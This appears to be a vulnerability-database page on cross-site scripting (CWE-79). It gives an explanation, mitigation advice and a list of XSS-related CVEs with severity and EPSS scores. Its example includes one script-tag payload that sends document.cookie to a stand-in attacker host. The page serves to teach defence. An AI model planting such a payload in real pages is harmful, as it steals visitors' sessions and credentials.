Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-97398HIGHFV Flowplayer Video Player <= 7.5.54.7212 - Unauthenticated Stored Cross-Site Scripting via 'synopsis' Shortcode AttributeEPSS 0.3%CVE-2025-46864MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-10168MEDIUMAny News Ticker <= 3.1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-40262HIGHNote Mark has Stored XSS via Unrestricted Asset UploadEPSS 0.3%CVE-2026-77114HIGHDocument Gallery <= 5.1.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2022-1112—Autolinks <= 1.0.1 - Stored Cross-Site Scripting via CSRFEPSS 0.3%CVE-2024-51890MEDIUMWordPress Geoportail Shortcode plugin <= 2.4.4 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-50881MEDIUMWordPress Advanced Access Manager Plugin <= 6.9.15 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-51911MEDIUMWordPress Featured product by category name plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-2726MEDIUMStored Cross-Site Scripting (Stored-XSS) vulnerability in the CIGESv2 systemEPSS 0.3%CVE-2025-0192MEDIUMStored Cross-site Scripting (XSS) in wandb/openuiEPSS 0.3%CVE-2024-24838MEDIUMWordPress Five Star Restaurant Reviews Plugin <= 2.3.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-46861MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46866MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-0320MEDIUMCross-Site Scripting in FireEye Malware Analysis (AX)EPSS 0.3%CVE-2025-46857MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.3%CVE-2025-46879MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-51904MEDIUMWordPress Embed documents shortcode plugin <= 1.5 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-46873MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-46858MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%